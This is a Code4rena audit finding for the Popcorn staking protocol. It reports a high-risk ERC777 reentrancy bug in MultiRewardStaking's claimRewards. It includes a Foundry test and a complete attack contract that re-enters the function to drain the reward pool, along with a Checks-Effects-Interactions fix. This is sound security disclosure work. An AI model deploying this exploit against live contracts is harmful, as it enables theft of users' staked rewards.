Popcorn contest - SadBase's results

A multi-chain regenerative yield-optimizing protocol.

General Information

Platform: Code4rena

Start Date: 31/01/2023

Pot Size: $90,500 USDC

Total HM: 47

Participants: 169

Period: 7 days

Judge: LSDan

Total Solo HM: 9

Id: 211

League: ETH

Popcorn

Findings Distribution

Researcher Performance

Rank: 103/169

Findings: 2

Award: $40.09

🌟 Selected for report: 0

🚀 Solo Findings: 0

Awards

4.6115 USDC - $4.61

Labels

bug
3 (High Risk)
satisfactory
sponsor confirmed
duplicate-402

External Links

Lines of code

https://github.com/code-423n4/2023-01-popcorn/blob/main/src/utils/MultiRewardStaking.sol#L170-L188

Vulnerability details

Impact

The MultiRewardStaking.sol contract allows owners to add any token as the reward token, including ERC777 tokens which are compatible with ERC20. However, using ERC777 tokens introduces to a reentrancy vulnerability.

An attacker can drain the entire reward token pool by exploiting the tokensReceived hook in the ERC777 standard. This hook is triggered after a transfer has occurred, allowing the attacker to repeatedly call the claimRewards function in the tokensReceived hook before the accruedRewards[user][_rewardTokens[i]] variable is set to 0, draining the whole rewards pool.

Proof of Concept

It is assumed that the rewardToken is an ERC777 Token. 10 rewardToken were minted and added to the MultiRewardStaking.sol reward token pool with a reward rate of 0.1 per second. The attacker then deposited 1 staking token to the pool, thereby becoming eligible to receive accrued reward tokens. After 10 blocks have passed, the attacker would have received 10% of the total rewards.

However, due to the tokensReceived hook function in the ERC777 standard, which is triggered after a transfer has taken place, the attacker can repeatedly call the claimRewards function in the tokensReceived hook, leading to a potential drain of the entire reward token pool.

Foundry Testing

File: test/MultiRewardStaking.t.sol

function test__accrual_on_claim_reentrancy() public {
    IERC1820Registry _erc1820 = IERC1820Registry(0x1820a4B7618BdE71Dce8cdc73aAB6C95905faD24);
    bytes32 TOKENS_RECIPIENT_INTERFACE_HASH = keccak256("ERC777TokensRecipient");

    _erc1820.setInterfaceImplementer(address(this), TOKENS_RECIPIENT_INTERFACE_HASH, address(this));

    MultiRewardStakingExploit exploit = new MultiRewardStakingExploit(address(staking), address(stakingToken), address(iRewardToken3));

    // Prepare array for `claimRewards`
    IERC20[] memory rewardsTokenKeys = new IERC20[](1);
    rewardsTokenKeys[0] = iRewardToken3;

    rewardToken3.mint(address(this), 10 ether);
    rewardToken3.approve(address(staking), 10 ether);

    staking.addRewardToken(IERC20(address(rewardToken3)), 0.1 ether, 10 ether, false, 0, 0, 0);

    stakingToken.mint(address(exploit), 5 ether);

    vm.startPrank(alice);
    exploit.approve(address(staking), 5 ether);
    // stakingToken.approve(address(staking), 5 ether);

    exploit.deposit(1 ether);
    // staking.deposit(1 ether);

    // 10% of rewards paid out
    vm.warp(block.timestamp + 10);

    staking.accruedRewards(address(exploit), iRewardToken3);

    uint256 callTimestamp = block.timestamp;
    staking.claimRewards(address(exploit), rewardsTokenKeys);

    assertEq(rewardToken3.balanceOf(address(exploit)), 10 ether);

    (, , , uint224 index, uint32 lastUpdatedTimestamp) = staking.rewardInfos(iRewardToken3);
    assertEq(uint256(index), 2 ether);
    assertEq(uint256(lastUpdatedTimestamp), callTimestamp);

    assertEq(staking.userIndex(address(exploit), iRewardToken3), index);
    assertEq(staking.accruedRewards(address(exploit), iRewardToken3), 0);
  }

  function tokensReceived(
        address operator,
        address from,
        address to,
        uint256 amount,
        bytes calldata userData,
        bytes calldata operatorData
    ) external {
        // do nothing
    }
Malicious Attack Contract
// SPDX-License-Identifier: GPL-3.0

pragma solidity ^0.8.15;

import "./MultiRewardStaking.sol";

import "openzeppelin-contracts/token/ERC777/IERC777Recipient.sol";
import "openzeppelin-contracts/utils/introspection/IERC1820Registry.sol";

contract MultiRewardStakingExploit is IERC777Recipient {
    MultiRewardStaking public staking;
    IERC20 public token;
    IERC20 public rewardToken;

    uint256 _count = 0;

    IERC1820Registry private _erc1820 = IERC1820Registry(0x1820a4B7618BdE71Dce8cdc73aAB6C95905faD24);
    bytes32 private constant TOKENS_RECIPIENT_INTERFACE_HASH = keccak256("ERC777TokensRecipient");

    constructor(address _stakingAddress, address _tokenAddress, address _rewardTokenAddress) {
        staking = MultiRewardStaking(_stakingAddress);
        token = IERC20(_tokenAddress);
        rewardToken = IERC20(_rewardTokenAddress);

        _erc1820.setInterfaceImplementer(address(this), TOKENS_RECIPIENT_INTERFACE_HASH, address(this));
    }

    function deposit(uint256 _amount) external {
        staking.deposit(_amount);
    }

    function approveRewardsToken() external {
        rewardToken.approve(address(staking), 10 ether);
    }

    function approve(address spender, uint256 amount) external returns (bool) {
        token.approve(spender, amount);
        return true;
    }

    function tokensReceived(
        address /*operator*/,
        address /*from*/,
        address /*to*/,
        uint256 /*amount*/,
        bytes calldata /*userData*/,
        bytes calldata /*operatorData*/
    ) external override {
        IERC20[] memory rewardsTokenKeys = new IERC20[](1);
        rewardsTokenKeys[0] = rewardToken;

        if (_count == 9) {
            return;
        }
        _count += 1;

        staking.claimRewards(address(this), rewardsTokenKeys);
    }
}

Due to the presence of a reentrancy vulnerability, the user, who was only supposed to receive 1 reward token, can drain the entire pool of 10 deposited tokens.

Tools Used

Foundry, Manual Review

Add openzeppelin nonReentrant modifier to the claimRewards() function, or state clear in the documentation that this protocol should not be used with ERC777 tokens or use the Checks Effects Interactions pattern.

Example:

function claimRewards(address user, IERC20[] memory _rewardTokens) external accrueRewards(msg.sender, user) {
    for (uint8 i; i < _rewardTokens.length; i++) {
      uint256 rewardAmount = accruedRewards[user][_rewardTokens[i]];

      if (rewardAmount == 0) revert ZeroRewards(_rewardTokens[i]);

      EscrowInfo memory escrowInfo = escrowInfos[_rewardTokens[i]];
  
+	  accruedRewards[user][_rewardTokens[i]] = 0; //@audit Follow Checks-Effects-Interaction

      if (escrowInfo.escrowPercentage > 0) {
        _lockToken(user, _rewardTokens[i], rewardAmount, escrowInfo);
        emit RewardsClaimed(user, _rewardTokens[i], rewardAmount, true);
      } else {
        _rewardTokens[i].transfer(user, rewardAmount);
        emit RewardsClaimed(user, _rewardTokens[i], rewardAmount, false);
      }

-      accruedRewards[user][_rewardTokens[i]] = 0;
    }
  }

#0 - c4-judge

2023-02-16T07:40:07Z

dmvt marked the issue as duplicate of #54

#1 - c4-sponsor

2023-02-18T12:11:13Z

RedVeil marked the issue as sponsor confirmed

#2 - c4-judge

2023-02-23T00:20:34Z

dmvt marked the issue as satisfactory

AuditHub

A portfolio for auditors, a security profile for protocols, a hub for web3 security.

Built bymalatrax © 2024

Auditors

Browse

Contests

Browse

Get in touch

ContactTwitter